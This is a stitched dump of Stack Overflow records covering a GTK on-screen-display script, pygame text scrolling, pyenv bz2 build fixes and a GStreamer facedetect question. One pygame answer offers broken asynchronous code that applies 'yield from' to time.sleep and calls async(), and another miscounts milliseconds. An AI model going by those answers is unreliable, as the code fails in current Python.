rect.width + self.BORDER surface = self.cover_surface transmat = cairo.Matrix() if do_shadow: cr.set_source_rgba(*self.conf.shadow) self.draw_conf_rect(cr, rect.x + 2, rect.y + 2, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.fill() if do_outline: cr.set_source_rgba(*self.conf.outline) self.draw_conf_rect(cr, rect.x, rect.y, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.stroke() cr.set_source_surface(surface, 0, 0) width, height = get_surface_extents(surface)[2:] transmat.scale(width / float(rect.width), height / float(rect.height)) transmat.translate(-rect.x, -rect.y) cr.get_source().set_matrix(transmat) self.draw_conf_rect(cr, rect.x, rect.y, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.fill() PangoCairo.update_layout(cr, self.title_layout) height = self.title_layout.get_pixel_size()[1] texty = (self.get_size()[1] - height) // 2 if do_shadow: cr.set_source_rgba(*self.conf.shadow) cr.move_to(textx + 2, texty + 2) PangoCairo.show_layout(cr, self.title_layout) if do_outline: cr.set_source_rgba(*self.conf.outline) cr.move_to(textx, texty) PangoCairo.layout_path(cr, self.title_layout) cr.stroke() cr.set_source_rgb(*self.conf.text[:3]) cr.move_to(textx, texty) PangoCairo.show_layout(cr, self.title_layout) cr.restore() def fade_in(self): self.do_fade_inout(True) def fade_out(self): self.do_fade_inout(False) def do_fade_inout(self, fadein): fadein = bool(fadein) self.fading_in = fadein now = GObject.get_current_time() fraction = self.get_opacity() if not fadein: fraction = 1.0 - fraction self.fade_start_time = now - fraction * self.FADETIME if self.iteration_source is None: self.iteration_source = GLib.timeout_add(self.MS, self.fade_iteration_callback) def fade_iteration_callback(self): delta = GObject.get_current_time() - self.fade_start_time fraction = delta / self.FADETIME if self.fading_in: self.set_opacity(fraction) else: self.set_opacity(1.0 - fraction) if not self.is_composited(): self.queue_draw() if fraction >= 1.0: self.iteration_source = None self.emit('fade-finished', self.fading_in) return False return True def __buttonpress(window, event): window.hide() #if self.__current_window is window: # self.__current_window = None window.destroy() #def __fade_finished(window, fade_in): # if fade_in: # GLib.timeout_add(self.Conf.delay, self.start_fade_out, window) # else: # window.hide() # if self.__current_window is window: # self.__current_window = None # # Delay destroy - apparently the hide does not quite register if # # the destroy is done immediately. The compiz animation plugin # # then sometimes triggers and causes undesirable effects while the # # popup should already be invisible. # GLib.timeout_add(1000, window.destroy) window = OSDWindowMin() window.connect("destroy", Gtk.main_quit) # must be present, else program does not exit when on-screen display window is clicked! window.add_events(Gdk.EventMask.BUTTON_PRESS_MASK) window.connect('button-press-event', __buttonpress) #window.connect('fade-finished', self.__fade_finished) #window.show_all#() window.set_opacity(0.0) window.show() window.fade_in() Gtk.main() ```
429,648
Is there a library to do pretty on screen display with Python (mainly on Linux but preferably available on other OS too) ? I know there is python-osd but it uses [libxosd](http://sourceforge.net/projects/libxosd) which looks quite old. I would not call it *pretty*. Maybe a Python binding for [libaosd](http://cia.vc/stats/project/libaosd). But I did not find any.
2009/01/09
[ "https://Stackoverflow.com/questions/429648", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49808/" ]
Using PyGTK on X it's possible to scrape the screen background and composite the image with a standard Pango layout. I have some code that does this at <http://svn.sacredchao.net/svn/quodlibet/trunk/plugins/events/animosd.py>. It's a bit ugly and long, but mostly straightforward.
Building upon the answer from @user79758, the `animosd.py` link in that post is no longer available, but this one still is: <http://hefesto.intra.ial.sp.gov.br/share/pyshared/quodlibet/plugins/events/animosd.py> ([archive](http://web.archive.org/web/20190711182113/http://hefesto.intra.ial.sp.gov.br/share/pyshared/quodlibet/plugins/events/animosd.py)). Regardless, it was a part of `quodlibet` music player, which still exists in Ubuntu 18.04; I installed it with ``` sudo apt install quodlibet ``` Then, it's not exactly trivial to get a minimal example; mine is included below as `animosd_test.py`; simply run it with: ``` python2 animosd_test.py ``` You'll get this: [![animost_test](https://i.stack.imgur.com/i8bnV.gif)](https://i.stack.imgur.com/i8bnV.gif) `animosd_test.py`: ``` #!/usr/bin/env python2 #from quodlibet.ext.events.animosd.osdwindow import OSDWindow import sys import os from collections import namedtuple from quodlibet.packages.senf import environ, argv as sys_argv from quodlibet.cli import process_arguments, exit_ import quodlibet try: # we want basic commands not to import gtk (doubles process time) assert "gi.repository.Gtk" not in sys.modules sys.modules["gi.repository.Gtk"] = None startup_actions, cmds_todo = process_arguments(sys_argv) finally: sys.modules.pop("gi.repository.Gtk", None) quodlibet.init() #from quodlibet.ext.events import animosd from quodlibet.ext.events.animosd import osdwindow from quodlibet.ext.events.animosd.config import get_config from quodlibet.ext.events.animosd.osdwindow import OSDWindow from quodlibet.util import cached_property, print_exc #~ window = OSDWindow(self.Conf, song) #~ window.add_events(Gdk.EventMask.BUTTON_PRESS_MASK) #~ window.connect('button-press-event', self.__buttonpress) #~ window.connect('fade-finished', self.__fade_finished) #~ self.__current_window = window #~ window.set_opacity(0.0) #~ window.show() #~ window.fade_in() from gi.repository import Gtk, GObject, GLib, Pango, PangoCairo, Gdk from quodlibet import qltk import cairo from math import pi class OSDWindowMin(Gtk.Window): __gsignals__ = { 'fade-finished': (GObject.SignalFlags.RUN_LAST, None, (bool,)), } POS_X = 0.5 """position of window 0--1 horizontal""" MARGIN = 50 """never any closer to the screen edge than this""" BORDER = 20 """text/cover this far apart, from edge""" FADETIME = 0.3 """take this many seconds to fade in or out""" MS = 40 """wait this many milliseconds between steps""" @cached_property def Conf(self): return get_config('animosd') #def __init__(self, conf, song): def __init__(self): Gtk.Window.__init__(self, Gtk.WindowType.POPUP) self.set_type_hint(Gdk.WindowTypeHint.NOTIFICATION) screen = self.get_screen() rgba = screen.get_rgba_visual() if rgba is not None: self.set_visual(rgba) #self.conf = conf self.conf = self.Conf self.iteration_source = None self.fading_in = False self.fade_start_time = 0 mgeo = screen.get_monitor_geometry(self.conf.monitor) textwidth = mgeo.width - 2 * (self.BORDER + self.MARGIN) scale_factor = self.get_scale_factor() #cover_pixbuf = app.cover_manager.get_pixbuf( # song, conf.coversize * scale_factor, conf.coversize * scale_factor) coverheight = 0 coverwidth = 0 #~ if cover_pixbuf: #~ self.cover_surface = get_surface_for_pixbuf(self, cover_pixbuf) #~ coverwidth = cover_pixbuf.get_width() // scale_factor #~ coverheight = cover_pixbuf.get_height() // scale_factor #~ textwidth -= coverwidth + self.BORDER #~ else: #~ self.cover_surface = None self.cover_surface = None layout = self.create_pango_layout('') layout.set_alignment((Pango.Alignment.LEFT, Pango.Alignment.CENTER, Pango.Alignment.RIGHT)[self.conf.align]) layout.set_spacing(Pango.SCALE * 7) layout.set_font_description(Pango.FontDescription(self.conf.font)) #try: # layout.set_markup(pattern.XMLFromMarkupPattern(conf.string) % song) #except pattern.error: # layout.set_markup("") layout.set_markup("AAAA") layout.set_width(Pango.SCALE * textwidth) layoutsize = layout.get_pixel_size() if layoutsize[0] < textwidth: layout.set_width(Pango.SCALE * layoutsize[0]) layoutsize = layout.get_pixel_size() self.title_layout = layout winw = layoutsize[0] + 2 * self.BORDER if coverwidth: winw += coverwidth + self.BORDER winh = max(coverheight, layoutsize[1]) + 2 * self.BORDER self.set_default_size(winw, winh) rect = namedtuple("Rect", ["x", "y", "width", "height"]) rect.x = self.BORDER rect.y = (winh - coverheight) // 2 rect.width = coverwidth rect.height = coverheight self.cover_rectangle = rect winx = int((mgeo.width - winw) * self.POS_X) winx = max(self.MARGIN, min(mgeo.width - self.MARGIN - winw, winx)) winy = int((mgeo.height - winh) * self.conf.pos_y) winy = max(self.MARGIN, min(mgeo.height - self.MARGIN - winh, winy)) self.move(winx + mgeo.x, winy + mgeo.y) def do_draw(self, cr): if self.is_composited(): self.draw_title_info(cr) else: # manual transparency rendering follows walloc = self.get_allocation() wpos = self.get_position() if not getattr(self, "_bg_sf", None): # copy the root surface into a temp image surface root_win = self.get_root_window() bg_sf = cairo.ImageSurface(cairo.FORMAT_ARGB32, walloc.width, walloc.height) pb = Gdk.pixbuf_get_from_window( root_win, wpos[0], wpos[1], walloc.width, walloc.height) bg_cr = cairo.Context(bg_sf) Gdk.cairo_set_source_pixbuf(bg_cr, pb, 0, 0) bg_cr.paint() self._bg_sf = bg_sf if not getattr(self, "_fg_sf", None): # draw the window content in another temp surface fg_sf = cairo.ImageSurface(cairo.FORMAT_ARGB32, walloc.width, walloc.height) fg_cr = cairo.Context(fg_sf) fg_cr.set_source_surface(fg_sf) self.draw_title_info(fg_cr) self._fg_sf = fg_sf # first draw the background so we have 'transparancy' cr.set_operator(cairo.OPERATOR_SOURCE) cr.set_source_surface(self._bg_sf) cr.paint() # then draw the window content with the right opacity cr.set_operator(cairo.OPERATOR_OVER) cr.set_source_surface(self._fg_sf) cr.paint_with_alpha(self.get_opacity()) @staticmethod def rounded_rectangle(cr, x, y, radius, width, height): cr.move_to(x + radius, y) cr.line_to(x + width - radius, y) cr.arc(x + width - radius, y + radius, radius, - 90.0 * pi / 180.0, 0.0 * pi / 180.0) cr.line_to(x + width, y + height - radius) cr.arc(x + width - radius, y + height - radius, radius, 0.0 * pi / 180.0, 90.0 * pi / 180.0) cr.line_to(x + radius, y + height) cr.arc(x + radius, y + height - radius, radius, 90.0 * pi / 180.0, 180.0 * pi / 180.0) cr.line_to(x, y + radius) cr.arc(x + radius, y + radius, radius, 180.0 * pi / 180.0, 270.0 * pi / 180.0) cr.close_path() @property def corners_factor(self): if self.conf.corners != 0: return 0.14 return 0.0 def draw_conf_rect(self, cr, x, y, width, height, radius): if self.conf.corners != 0: self.rounded_rectangle(cr, x, y, radius, width, height) else: cr.rectangle(x, y, width, height) def draw_title_info(self, cr): cr.save() do_shadow = (self.conf.shadow[0] != -1.0) do_outline = (self.conf.outline[0] != -1.0) self.set_name("osd_bubble") qltk.add_css(self, """ #osd_bubble { background-color:rgba(0,0,0,0); } """) cr.set_operator(cairo.OPERATOR_OVER) cr.set_source_rgba(*self.conf.fill) radius = min(25, self.corners_factor * min(*self.get_size())) self.draw_conf_rect(cr, 0, 0, self.get_size()[0], self.get_size()[1], radius) cr.fill() # draw border if do_outline: # Make border darker and more translucent than the fill f = self.conf.fill rgba = (f[0] / 1.25, f[1] / 1.25, f[2] / 1.25, f[3] / 2.0) cr.set_source_rgba(*rgba) self.draw_conf_rect(cr, 1, 1, self.get_size()[0] - 2, self.get_size()[1] - 2, radius) cr.set_line_width(2.0) cr.stroke() textx = self.BORDER if self.cover_surface is not None: rect = self.cover_rectangle textx += rect.width + self.BORDER surface = self.cover_surface transmat = cairo.Matrix() if do_shadow: cr.set_source_rgba(*self.conf.shadow) self.draw_conf_rect(cr, rect.x + 2, rect.y + 2, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.fill() if do_outline: cr.set_source_rgba(*self.conf.outline) self.draw_conf_rect(cr, rect.x, rect.y, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.stroke() cr.set_source_surface(surface, 0, 0) width, height = get_surface_extents(surface)[2:] transmat.scale(width / float(rect.width), height / float(rect.height)) transmat.translate(-rect.x, -rect.y) cr.get_source().set_matrix(transmat) self.draw_conf_rect(cr, rect.x, rect.y, rect.width, rect.height, 0.6 * self.corners_factor * rect.width) cr.fill() PangoCairo.update_layout(cr, self.title_layout) height = self.title_layout.get_pixel_size()[1] texty = (self.get_size()[1] - height) // 2 if do_shadow: cr.set_source_rgba(*self.conf.shadow) cr.move_to(textx + 2, texty + 2) PangoCairo.show_layout(cr, self.title_layout) if do_outline: cr.set_source_rgba(*self.conf.outline) cr.move_to(textx, texty) PangoCairo.layout_path(cr, self.title_layout) cr.stroke() cr.set_source_rgb(*self.conf.text[:3]) cr.move_to(textx, texty) PangoCairo.show_layout(cr, self.title_layout) cr.restore() def fade_in(self): self.do_fade_inout(True) def fade_out(self): self.do_fade_inout(False) def do_fade_inout(self, fadein): fadein = bool(fadein) self.fading_in = fadein now = GObject.get_current_time() fraction = self.get_opacity() if not fadein: fraction = 1.0 - fraction self.fade_start_time = now - fraction * self.FADETIME if self.iteration_source is None: self.iteration_source = GLib.timeout_add(self.MS, self.fade_iteration_callback) def fade_iteration_callback(self): delta = GObject.get_current_time() - self.fade_start_time fraction = delta / self.FADETIME if self.fading_in: self.set_opacity(fraction) else: self.set_opacity(1.0 - fraction) if not self.is_composited(): self.queue_draw() if fraction >= 1.0: self.iteration_source = None self.emit('fade-finished', self.fading_in) return False return True def __buttonpress(window, event): window.hide() #if self.__current_window is window: # self.__current_window = None window.destroy() #def __fade_finished(window, fade_in): # if fade_in: # GLib.timeout_add(self.Conf.delay, self.start_fade_out, window) # else: # window.hide() # if self.__current_window is window: # self.__current_window = None # # Delay destroy - apparently the hide does not quite register if # # the destroy is done immediately. The compiz animation plugin # # then sometimes triggers and causes undesirable effects while the # # popup should already be invisible. # GLib.timeout_add(1000, window.destroy) window = OSDWindowMin() window.connect("destroy", Gtk.main_quit) # must be present, else program does not exit when on-screen display window is clicked! window.add_events(Gdk.EventMask.BUTTON_PRESS_MASK) window.connect('button-press-event', __buttonpress) #window.connect('fade-finished', self.__fade_finished) #window.show_all#() window.set_opacity(0.0) window.show() window.fade_in() Gtk.main() ```
64,090,872
I have a for loop in Pygame that is trying to slowly progress through a string, like how text scrolls in RPGs. I want it to wait around 7 milliseconds before displaying the next character in the string, but I don't know how to make the loop wait that long without stopping other stuff. Please note that I am very new to pygame and python in general. Here is my code: ``` mainText = pygame.font.Font(mainFont, 40) finalMessage = "" for letter in msg: finalMessage = finalMessage + letter renderMainText = mainText.render(finalMessage, True, white) screen.blit(renderMainText, (100, 100)) renderMainText = mainText.render(finalMessage, True, white) ``` Do I need to do threading? Asyncrio?
2020/09/27
[ "https://Stackoverflow.com/questions/64090872", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14089022/" ]
You don't need the `for` loop at all. You have an application loop, so use it. The number of milliseconds since `pygame.init()` can be retrieved by [`pygame.time.get_ticks()`](https://www.pygame.org/docs/ref/time.html#pygame.time.get_ticks). See [`pygame.time`](https://www.pygame.org/docs/ref/time.html) module. ```py next_letter_time = 0 next_letter = 0 run = True while run: current_time = pygame.time.get_ticks() # [...] if next_letter < len(msg): if current_time > next_letter_time: next_letter_time = current_time + 7000 # 7000 milliseconds = 7 finalMessage = finalMessage + msg[next_letter] next_letter += 1 renderMainText = mainText.render(finalMessage, True, white) ``` --- Minimal example: [![](https://i.stack.imgur.com/eHAAr.gif)](https://i.stack.imgur.com/eHAAr.gif) ```py import pygame pygame.init() window = pygame.display.set_mode((500, 500)) clock = pygame.time.Clock() white = (255, 255, 255) mainText = pygame.font.SysFont(None, 50) renderMainText = None finalMessage = "" msg = "test text" next_letter_time = 0 next_letter = 0 run = True while run: clock.tick(60) for event in pygame.event.get(): if event.type == pygame.QUIT: run = False current_time = pygame.time.get_ticks() if next_letter < len(msg): if current_time > next_letter_time: next_letter_time = current_time + 500 finalMessage = finalMessage + msg[next_letter] next_letter += 1 renderMainText = mainText.render(finalMessage, True, white) window.fill(0) if renderMainText: window.blit(renderMainText, (100, 100)) pygame.display.flip() ```
use this ``` @coroutine def my_func(): from time import sleep mainText = pygame.font.Font(mainFont, 40) finalMessage = "" for letter in msg: finalMessage = finalMessage + letter renderMainText = mainText.render(finalMessage, True, white) screen.blit(renderMainText, (100, 100)) yield from sleep(0.007) renderMainText = mainText.render(finalMessage, True, white) async(my_func) ``` yield from is according to python 3.4 for more different versions check <https://docs.python.org/3/> your function will run independently without interrupting other tasks after `async(my_func)`
60,775,172
I used pyenv to install python 3.8.2 and to create a virtualenv. In the virtualenv, I used pipenv to install `pandas`. However, when importing pandas, I'm getting the following: ``` [...] File "/home/luislhl/.pyenv/versions/poc-prefect/lib/python3.8/site-packages/pandas/io/common.py", line 3, in <module> import bz2 File "/home/luislhl/.pyenv/versions/3.8.2/lib/python3.8/bz2.py", line 19, in <module> from _bz2 import BZ2Compressor, BZ2Decompressor ModuleNotFoundError: No module named '_bz2' ``` After some googling, I found out some people suggesting I rebuild Python from source after installing bzip2 library in my system. However, after trying installing it with `sudo dnf install bzip2-devel` I see that I already had it installed. As far as I know, pyenv builds python from source when installing some version. So, why wasn't it capable of including the bzip2 module when building? How can I manage to rebuild Python using pyenv in order to make bzip2 available? I'm in Fedora 30 Thanks in advance **UPDATE** I tried installing another version of python with pyenv in verbose mode, to see the compilation output. There is this message in the end of the compilation: ``` WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? ``` But as I stated before, I checked I already have bzip2 installed in my system. So I don't know what to do.
2020/03/20
[ "https://Stackoverflow.com/questions/60775172", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3477266/" ]
On macOS Big Sur, to get pyenv ( via homebrew ) to work I had to install zlib and bzip2 via homebrew and then add the exports in my ~/.zshrc ( or ~/.bashrc for bash I guess). The answer above [by luislhl](https://stackoverflow.com/q/60775172/2117661) leads the way to my solution. ``` brew install zlib bzip2 #Add the following to your ~/.zshrc # For pyenv to build export LDFLAGS="-L/usr/local/opt/zlib/lib -L/usr/local/opt/bzip2/lib" export CPPFLAGS="-I/usr/local/opt/zlib/include -I/usr/local/opt/bzip2/include" # Then the install worked pyenv install 3.7.9 ```
Ok, I have found the solution after some time. It was simple, but I took some time to realize it. It turns out the problem was the `bzip2-devel` I had installed was a 32-bit version. The compilation process was looking for the 64-bit one, and didn't find it. So I had to specifically install the 64-bit version: ``` sudo dnf install bzip2-devel-1.0.6-29.fc30.x86_64 ```
60,775,172
I used pyenv to install python 3.8.2 and to create a virtualenv. In the virtualenv, I used pipenv to install `pandas`. However, when importing pandas, I'm getting the following: ``` [...] File "/home/luislhl/.pyenv/versions/poc-prefect/lib/python3.8/site-packages/pandas/io/common.py", line 3, in <module> import bz2 File "/home/luislhl/.pyenv/versions/3.8.2/lib/python3.8/bz2.py", line 19, in <module> from _bz2 import BZ2Compressor, BZ2Decompressor ModuleNotFoundError: No module named '_bz2' ``` After some googling, I found out some people suggesting I rebuild Python from source after installing bzip2 library in my system. However, after trying installing it with `sudo dnf install bzip2-devel` I see that I already had it installed. As far as I know, pyenv builds python from source when installing some version. So, why wasn't it capable of including the bzip2 module when building? How can I manage to rebuild Python using pyenv in order to make bzip2 available? I'm in Fedora 30 Thanks in advance **UPDATE** I tried installing another version of python with pyenv in verbose mode, to see the compilation output. There is this message in the end of the compilation: ``` WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? ``` But as I stated before, I checked I already have bzip2 installed in my system. So I don't know what to do.
2020/03/20
[ "https://Stackoverflow.com/questions/60775172", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3477266/" ]
On Ubuntu 22 LTS ### Missing Library Problem in Python Installation with Pyenv Before the fix: ``` $> pyenv install 3.11.0 ``` command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? WARNING: The Python readline extension was not compiled. Missing the GNU readline lib? WARNING: The Python lzma extension was not compiled. Missing the lzma lib? ``` ### TLDR; Recipe to fix: ```bash sudo apt-get install build-essential zlib1g-dev libffi-dev libssl-dev libbz2-dev libreadline-dev libsqlite3-dev liblzma-dev ``` ### Result After the fix: ```bash $> pyenv install 3.11.0 ``` Command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... Installed Python-3.11.0 to /home/user/.pyenv/versions/3.11.0 ```
Ok, I have found the solution after some time. It was simple, but I took some time to realize it. It turns out the problem was the `bzip2-devel` I had installed was a 32-bit version. The compilation process was looking for the 64-bit one, and didn't find it. So I had to specifically install the 64-bit version: ``` sudo dnf install bzip2-devel-1.0.6-29.fc30.x86_64 ```
60,775,172
I used pyenv to install python 3.8.2 and to create a virtualenv. In the virtualenv, I used pipenv to install `pandas`. However, when importing pandas, I'm getting the following: ``` [...] File "/home/luislhl/.pyenv/versions/poc-prefect/lib/python3.8/site-packages/pandas/io/common.py", line 3, in <module> import bz2 File "/home/luislhl/.pyenv/versions/3.8.2/lib/python3.8/bz2.py", line 19, in <module> from _bz2 import BZ2Compressor, BZ2Decompressor ModuleNotFoundError: No module named '_bz2' ``` After some googling, I found out some people suggesting I rebuild Python from source after installing bzip2 library in my system. However, after trying installing it with `sudo dnf install bzip2-devel` I see that I already had it installed. As far as I know, pyenv builds python from source when installing some version. So, why wasn't it capable of including the bzip2 module when building? How can I manage to rebuild Python using pyenv in order to make bzip2 available? I'm in Fedora 30 Thanks in advance **UPDATE** I tried installing another version of python with pyenv in verbose mode, to see the compilation output. There is this message in the end of the compilation: ``` WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? ``` But as I stated before, I checked I already have bzip2 installed in my system. So I don't know what to do.
2020/03/20
[ "https://Stackoverflow.com/questions/60775172", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3477266/" ]
On macOS Big Sur, to get pyenv ( via homebrew ) to work I had to install zlib and bzip2 via homebrew and then add the exports in my ~/.zshrc ( or ~/.bashrc for bash I guess). The answer above [by luislhl](https://stackoverflow.com/q/60775172/2117661) leads the way to my solution. ``` brew install zlib bzip2 #Add the following to your ~/.zshrc # For pyenv to build export LDFLAGS="-L/usr/local/opt/zlib/lib -L/usr/local/opt/bzip2/lib" export CPPFLAGS="-I/usr/local/opt/zlib/include -I/usr/local/opt/bzip2/include" # Then the install worked pyenv install 3.7.9 ```
Thanks, that helped, just with small modification in `~/.zshrc`: ``` export LDFLAGS="-L/opt/homebrew/opt/zlib/lib -L/opt/homebrew/opt/bzip2/lib" export CPPFLAGS="-I/opt/homebrew/opt/zlib/include -I/opt/homebrew/opt/bzip2/include" ``` and then `pyenv install 3.7.9` --- `Apple M1`, `macOS 11.1 20C69 arm64`; ``` ➜ brew --version Homebrew 2.7.1 Homebrew/homebrew-core (git revision ad6fd8; last commit 2021-01-05) Homebrew/homebrew-cask (git revision 5c3de; last commit 2021-01-04) ``` --- but this didn't help with `No module named '_ctypes'` on M1 :(
60,775,172
I used pyenv to install python 3.8.2 and to create a virtualenv. In the virtualenv, I used pipenv to install `pandas`. However, when importing pandas, I'm getting the following: ``` [...] File "/home/luislhl/.pyenv/versions/poc-prefect/lib/python3.8/site-packages/pandas/io/common.py", line 3, in <module> import bz2 File "/home/luislhl/.pyenv/versions/3.8.2/lib/python3.8/bz2.py", line 19, in <module> from _bz2 import BZ2Compressor, BZ2Decompressor ModuleNotFoundError: No module named '_bz2' ``` After some googling, I found out some people suggesting I rebuild Python from source after installing bzip2 library in my system. However, after trying installing it with `sudo dnf install bzip2-devel` I see that I already had it installed. As far as I know, pyenv builds python from source when installing some version. So, why wasn't it capable of including the bzip2 module when building? How can I manage to rebuild Python using pyenv in order to make bzip2 available? I'm in Fedora 30 Thanks in advance **UPDATE** I tried installing another version of python with pyenv in verbose mode, to see the compilation output. There is this message in the end of the compilation: ``` WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? ``` But as I stated before, I checked I already have bzip2 installed in my system. So I don't know what to do.
2020/03/20
[ "https://Stackoverflow.com/questions/60775172", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3477266/" ]
On macOS Big Sur, to get pyenv ( via homebrew ) to work I had to install zlib and bzip2 via homebrew and then add the exports in my ~/.zshrc ( or ~/.bashrc for bash I guess). The answer above [by luislhl](https://stackoverflow.com/q/60775172/2117661) leads the way to my solution. ``` brew install zlib bzip2 #Add the following to your ~/.zshrc # For pyenv to build export LDFLAGS="-L/usr/local/opt/zlib/lib -L/usr/local/opt/bzip2/lib" export CPPFLAGS="-I/usr/local/opt/zlib/include -I/usr/local/opt/bzip2/include" # Then the install worked pyenv install 3.7.9 ```
On Ubuntu 22 LTS ### Missing Library Problem in Python Installation with Pyenv Before the fix: ``` $> pyenv install 3.11.0 ``` command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? WARNING: The Python readline extension was not compiled. Missing the GNU readline lib? WARNING: The Python lzma extension was not compiled. Missing the lzma lib? ``` ### TLDR; Recipe to fix: ```bash sudo apt-get install build-essential zlib1g-dev libffi-dev libssl-dev libbz2-dev libreadline-dev libsqlite3-dev liblzma-dev ``` ### Result After the fix: ```bash $> pyenv install 3.11.0 ``` Command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... Installed Python-3.11.0 to /home/user/.pyenv/versions/3.11.0 ```
60,775,172
I used pyenv to install python 3.8.2 and to create a virtualenv. In the virtualenv, I used pipenv to install `pandas`. However, when importing pandas, I'm getting the following: ``` [...] File "/home/luislhl/.pyenv/versions/poc-prefect/lib/python3.8/site-packages/pandas/io/common.py", line 3, in <module> import bz2 File "/home/luislhl/.pyenv/versions/3.8.2/lib/python3.8/bz2.py", line 19, in <module> from _bz2 import BZ2Compressor, BZ2Decompressor ModuleNotFoundError: No module named '_bz2' ``` After some googling, I found out some people suggesting I rebuild Python from source after installing bzip2 library in my system. However, after trying installing it with `sudo dnf install bzip2-devel` I see that I already had it installed. As far as I know, pyenv builds python from source when installing some version. So, why wasn't it capable of including the bzip2 module when building? How can I manage to rebuild Python using pyenv in order to make bzip2 available? I'm in Fedora 30 Thanks in advance **UPDATE** I tried installing another version of python with pyenv in verbose mode, to see the compilation output. There is this message in the end of the compilation: ``` WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? ``` But as I stated before, I checked I already have bzip2 installed in my system. So I don't know what to do.
2020/03/20
[ "https://Stackoverflow.com/questions/60775172", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3477266/" ]
On Ubuntu 22 LTS ### Missing Library Problem in Python Installation with Pyenv Before the fix: ``` $> pyenv install 3.11.0 ``` command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... WARNING: The Python bz2 extension was not compiled. Missing the bzip2 lib? WARNING: The Python readline extension was not compiled. Missing the GNU readline lib? WARNING: The Python lzma extension was not compiled. Missing the lzma lib? ``` ### TLDR; Recipe to fix: ```bash sudo apt-get install build-essential zlib1g-dev libffi-dev libssl-dev libbz2-dev libreadline-dev libsqlite3-dev liblzma-dev ``` ### Result After the fix: ```bash $> pyenv install 3.11.0 ``` Command result: ``` pyenv: /home/user/.pyenv/versions/3.11.0 already exists continue with installation? (y/N) y Downloading Python-3.11.0.tar.xz... -> https://www.python.org/ftp/python/3.11.0/Python-3.11.0.tar.xz Installing Python-3.11.0... Installed Python-3.11.0 to /home/user/.pyenv/versions/3.11.0 ```
Thanks, that helped, just with small modification in `~/.zshrc`: ``` export LDFLAGS="-L/opt/homebrew/opt/zlib/lib -L/opt/homebrew/opt/bzip2/lib" export CPPFLAGS="-I/opt/homebrew/opt/zlib/include -I/opt/homebrew/opt/bzip2/include" ``` and then `pyenv install 3.7.9` --- `Apple M1`, `macOS 11.1 20C69 arm64`; ``` ➜ brew --version Homebrew 2.7.1 Homebrew/homebrew-core (git revision ad6fd8; last commit 2021-01-05) Homebrew/homebrew-cask (git revision 5c3de; last commit 2021-01-04) ``` --- but this didn't help with `No module named '_ctypes'` on M1 :(
59,118,639
On a **Ubuntu 18.04** machine I am trying to use **opencv 4.1.2** [facedetect](https://gstreamer.freedesktop.org/data/doc/gstreamer/head/gst-plugins-bad/html/gst-plugins-bad-plugins-facedetect.html) in a **gstreamer 1.14.5** pipeline but unfortunately the plugin is not installed. I downloaded the gstreamer [bad plugin code](https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-1.14.5.tar.xz) and tried to build using meson The size of the so files created does not look right. How do I install the opencv plugin? ``` (cv) roy@hp:~$ cat /proc/version Linux version 5.0.0-36-generic (buildd@lgw01-amd64-060) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #39~18.04.1-Ubuntu SMP Tue Nov 12 11:09:50 UTC 2019 (cv) roy@hp:~$ which gst-inspect-1.0 /usr/bin/gst-inspect-1.0 (cv) roy@hp:~$ gst-inspect-1.0 --version gst-inspect-1.0 version 1.14.5 GStreamer 1.14.5 https://launchpad.net/distros/ubuntu/+source/gstreamer1.0 (cv) roy@hp:~$ gst-inspect-1.0 facedetect No such element or plugin 'facedetect' (cv) roy@hp:~$ python Python 3.6.9 (default, Nov 7 2019, 10:44:02) [GCC 8.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import cv2 >>> print(cv2.__version__) 4.1.2 >>> exit() (cv) roy@hp:~$ ls -l /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopen* -rw-r--r-- 1 root root 39752 Jul 4 02:16 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopenal.so -rw-r--r-- 1 root root 23376 Jul 4 02:16 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopenexr.so -rw-r--r-- 1 root root 81896 Jul 4 02:16 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopenglmixers.so -rw-r--r-- 1 root root 253048 Jul 3 09:19 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopengl.so -rw-r--r-- 1 root root 48328 Jul 4 02:16 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopenjpeg.so -rw-r--r-- 1 root root 27368 